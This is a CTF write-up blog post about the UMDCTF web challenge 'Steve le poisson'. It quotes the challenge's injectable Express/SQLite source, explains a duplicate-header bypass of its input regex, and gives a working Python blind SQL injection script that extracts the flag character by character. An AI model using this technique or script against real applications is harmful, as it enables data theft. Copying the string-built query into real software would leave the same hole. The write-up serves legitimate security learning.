Category
Web
Chall Author
tahmid-23
Stats
Total Solves: 139/708 Teams
Final Points: 369p
Description
il est orange
Preface
Before the CTF I was practicing my Blind SQL skills and let me just say that it really paid off. Props to the challenge author for making my favourite web chall of the CTF!
Looking at the website
The website's only page was the index page. What was on it you may ask? Well have a look yourself:
Steve, le- (Poi-)
Le poisson Steve (Poisson Steve)
Il est orange (Orange, ooh-ooh)
Il a des bras, et des jambes
Le poisson Steve
Yes that's it! Expected anything less?
Okay but looking into the challenge I didn't really find anything more than the static js which didnt help. Let's look into the source!
Looking at the Source
Looking at the source code I looked for the logic that handles what we can input. That being the filename and contents of the file:
// đŠ Importation des modules nĂ©cessaires pour faire tourner notre monde sous-marin numĂ©rique
const express = require("express"); // Express, le cadre web minimaliste mais puissant
const sqlite3 = require("sqlite3"); // SQLite version brute, pour les bases de données légÚres
const sqlite = require("sqlite"); // Une interface moderne (promesse-friendly) pour SQLite
const cors = require("cors"); // Pour permettre Ă d'autres domaines de parler Ă notre serveur â Steve est sociable, mais pas trop
// đ CrĂ©ation de l'application Express : câest ici que commence lâaventure
const app = express();
// đ§Ș Fonction de validation des en-tĂȘtes HTTP
// Steve, ce poisson Ă la sensibilitĂ© exacerbĂ©e, dĂ©teste les en-tĂȘtes trop longs, ambigus ou mystĂ©rieux
function checkBadHeader(headerName, headerValue) {
return headerName.length > 80 ||
(headerName.toLowerCase() !== 'user-agent' && headerValue.length > 80) ||
headerValue.includes('\0'); // Le caractĂšre nul ? Un blasphĂšme pour Steve.
}
// đ Middleware pour autoriser les requĂȘtes Cross-Origin
app.use(cors());
// đ§ Middleware maison : ici, Steve le Poisson filtre les requĂȘtes selon ses principes aquatiques
app.use((req, res, next) => {
let steveHeaderValue = null; // On prĂ©pare le terrain pour rĂ©cupĂ©rer lâen-tĂȘte sacrĂ©
let totalHeaders = 0; // Pour compter â car Steve compte. Tout. Toujours.
// đ Parcours des en-tĂȘtes bruts, deux par deux (clĂ©, valeur)
for (let i = 0; i < req.rawHeaders.length; i += 2) {
let headerName = req.rawHeaders[i];
let headerValue = req.rawHeaders[i + 1];
// â Si un en-tĂȘte ne plaĂźt pas Ă Steve, il coupe net la communication
if (checkBadHeader(headerName, headerValue)) {
return res.status(403).send(`Steve le poisson, un animal marin dâapparence inoffensive mais dâopinion tranchĂ©e, nâa jamais vraiment supportĂ© tes en-tĂȘtes HTTP. Chaque fois quâil en voit passer un â mĂȘme sans savoir de quoi il sâagit exactement â son Ćil vitreux se plisse, et une sorte de grondement bouillonne dans ses branchies. Ce nâest pas quâil les comprenne, non, mais il les sent, il les ressent dans lâeau comme une vibration mal alignĂ©e, une dissonance numĂ©rique qui le met profondĂ©ment mal Ă lâaise. Il dit souvent, en tournoyant dâun air dramatique : « Pourquoi tant de formalisme ? Pourquoi cacher ce quâon est vraiment derriĂšre des chaĂźnes de caractĂšres obscures ? » Pour lui, ces en-tĂȘtes sont comme des algues synthĂ©tiques : inutiles, prĂ©tentieuses, et surtout Ă©trangĂšres Ă la fluiditĂ© du monde sous-marin. Il prĂ©fĂ©rerait mille fois un bon vieux flux binaire brut, sans tous ces ornements absurdes. Câest une affaire de principe.`); // Message dramatique de Steve
}
// đź Si on trouve lâen-tĂȘte "X-Steve-Supposition", on le garde
if (headerName.toLowerCase() === 'x-steve-supposition') {
steveHeaderValue = headerValue;
}
totalHeaders++; // 𧟠On incrémente notre compteur de verbosité HTTP
}
// đ§» Trop dâen-tĂȘtes ? Steve explose. LittĂ©ralement.
if (totalHeaders > 30) {
return res.status(403).send(`Steve le poisson, qui est orange avec de longs bras musclĂ©s et des jambes nerveuses, te fixe avec ses grands yeux globuleux. "Franchement," grogne-t-il en agitant une nageoire transformĂ©e en doigt accusateur, "tu abuses. Beaucoup trop dâen-tĂȘtes HTTP. Tu crois que câest un concours ? Chaque requĂȘte que tu envoies, câest un roman. Moi, je dois nager dans ce flux verbeux, et câest moi qui me noie ! Tâas entendu parler de minimalisme ? Non ? Et puis câest quoi ce dĂ©lire avec des en-tĂȘtes dupliquĂ©s ? Tu crois que le serveur, câest un psy, quâil doit tout Ă©couter deux fois ? Retiens-toi la prochaine fois, ou câest moi qui coupe la connexion."`); // Encore un monologue dramatique de Steve
}
// đ
ââïž Lâen-tĂȘte sacrĂ© est manquant ? BlasphĂšme total.
if (steveHeaderValue === null) {
return res.status(400).send(`Steve le poisson, toujours orange et furibond, bondit hors de lâeau avec ses jambes flĂ©chies et ses bras croisĂ©s. "Non mais sĂ©rieusement," rĂąle-t-il, "oĂč est passĂ© lâen-tĂȘte X-Steve-Supposition ? Tu veux que je devine tes intentions ? Tu crois que je lis dans les paquets TCP ? Cet en-tĂȘte, câest fondamental â câest lĂ que tu dĂ©clares tes hypothĂšses, tes intentions, ton respect pour le protocole sacrĂ© de Steve. Sans lui, je suis perdu, confus, dĂ©sorientĂ© comme un poisson hors dâun proxy.`);
}
// đ§Ș Validation de la structure de la supposition : uniquement des caractĂšres honorables
if (!/^[a-zA-Z0-9{}]+$/.test(steveHeaderValue)) {
return res.status(403).send(`Steve le poisson, ce poisson orange Ă la peau luisante et aux nageoires musclĂ©es, unique au monde, capable de nager sur la terre ferme et de marcher dans l'eau comme si câĂ©tait une moquette moelleuse, te regarde avec ses gros yeux globuleux remplis dâune indignation abyssale. Il claque de la langue â oui, car Steve a une langue, et elle est trĂšs expressive â en te voyant saisir ta supposition dans le champ prĂ©vu, un champ sacrĂ©, un espace rĂ©servĂ© aux caractĂšres honorables, alphabĂ©tiques et numĂ©riques, et toi, misĂ©rable bipĂšde aux doigts tĂ©mĂ©rairement chaotiques, tu as osĂ© y glisser des signes de ponctuation, des tilde, des diĂšses, des dollars, comme si câĂ©tait une brocante de symboles oubliĂ©s. Tu crois que câest un terrain de jeu, hein ? Mais pour Steve, ce champ est un pacte silencieux entre lâhumain et la machine, une zone de puretĂ© syntaxique. Et te voilĂ , en train de profaner cette convention sacrĂ©e avec ton â%â et ton â@â, comme si les rĂšgles nâĂ©taient que des suggestions. Steve bat furieusement des pattes arriĂšre â car oui, il a aussi des pattes arriĂšre, pour la traction tout-terrain â et fait jaillir de petites Ă©claboussures dâĂ©cume terrestre, signe suprĂȘme de sa colĂšre. âPourquoi ?â te demande-t-il, avec une voix grave et solennelle, comme un vieux capitaine marin Ă©chouĂ© dans un monde digital, âPourquoi chercher la dissonance quand lâharmonie suffisait ? Pourquoi saboter la beautĂ© simple de âazAZ09â avec tes gribouillages postmodernes ?â Et puis il sâapproche, les yeux plissĂ©s, et te lance dâun ton sec : âTu nâes pas digne de lâen-tĂȘte X-Steve-Supposition. Reviens quand tu sauras deviner avec dignitĂ©.`);
}
// â
Si tout est bon, Steve laisse passer la requĂȘte
next();
});
// đ Point d'entrĂ©e principal : route GET pour "deviner"
app.get('/deviner', async (req, res) => {
// đ Ouverture de la base de donnĂ©es SQLite
const db = await sqlite.open({
filename: "./database.db", // Chemin vers la base de données
driver: sqlite3.Database, // Le moteur utilisé
mode: sqlite3.OPEN_READONLY // j'ai oublieÌ ça
});
// đ ExĂ©cution d'une requĂȘte SQL : on cherche si la supposition de Steve est correcte
const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);
res.status(200); // đ Tout va bien, en apparence
// đ§ Si aucune ligne ne correspond, Steve se moque gentiment de toi
if (rows.length === 0) {
res.send("Bah, tu as tort."); // Pas de flag pour toi
} else {
res.send("Tu as raison!"); // Le flag Ă©tait bon. Steve tâaccorde son respect.
}
});
// đȘ On lance le serveur, tel un aquarium ouvert sur le monde
const PORT = 3000;
app.listen(PORT, "0.0.0.0", () => {
console.log(`Serveur en écoute sur http://localhost:${PORT}`);
});
Most of the code is in french but ignoring that we can actually make out what it means without google translate!
The server is written in js and 2 endpoints. / and /deviner. The interesting parts is the middleware and especially the x-steve-supposition header.
The code basically gets whatever is in that header and uses that in this db query:
SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'
Meaning that if we can achieve a SQL Injection using the header.
What stops us?
Well it has a bunch of checks, and the most important one being the regexp:
if (!/^[a-zA-Z0-9{}]+$/.test(steveHeaderValue))
This stops us from trying any SQLI, bummer. Well I sat and tried different things while observing the source code closer and found a little flaw with their backend.
The checks and regexp check the first X-Steve-Supposition header right? But what if we had 2...
Meaning that if we have a X-Steve-Supposition header first with our SQLI payload and then another one aftet the first with a random value like "a" we could effectively bypass all the checks!
So it would look like this:
SQLI
Now its time to figure out how we get the flag using the newfound vulnerability.
We cannot dump it directly as we can only get 1 of 2 responses: "Tu as raison!" and "Bah, tu as tort."
But we know that we get Tu as raison when we execute a valid SQL payload so doesn't that mean that we can use Blind SQL Injection? Well yeah!
We know that the first letter of the flag is U becasue of the flag format UMDCTF. So trying this gives us "Tu as raison! but changing the letter to for example "A" gives "Bah, tu as tort."
I was not planning on spending 10h manually doing this for every letter, number and character so lets get scripting:
Solution Script
import httpx
import string
URL = "https://steve-le-poisson-api.challs.umdctf.io/deviner"
CHARS = string.ascii_letters + string.digits + "{}_"
flagga = ""
client = httpx.Client(http2=True)
def koka(position, character):
injection = f"' UNION SELECT value FROM flag WHERE substr(value, {position}, 1) = '{character}' --"
headers = {
"X-Steve-Supposition": injection,
"x-Steve-Supposition": "a"
}
response = client.get(URL, headers=headers)
if "Tu as raison!" in response.text:
print("yes")
return True
else:
print("no")
return False
position = 1
while True:
found = False
for c in CHARS:
print(f"\n{position} '{c}'")
if koka(position, c):
flagga += c
print(f"found: {position}: '{c}'")
print(f"{flagga} hitills")
position += 1
found = True
break
if not found:
print(f"fel hÀr: {position}")
break
if flagga.endswith('}'):
print("solved: ", flagga)
break
And after a few minutes I got the flag!
Flag
UMDCTF{ile5TVR4IM3NtTresbEAu}
alanoo.dev
My dev page :).
By alanoo 2025-04-30
Table of Contents:
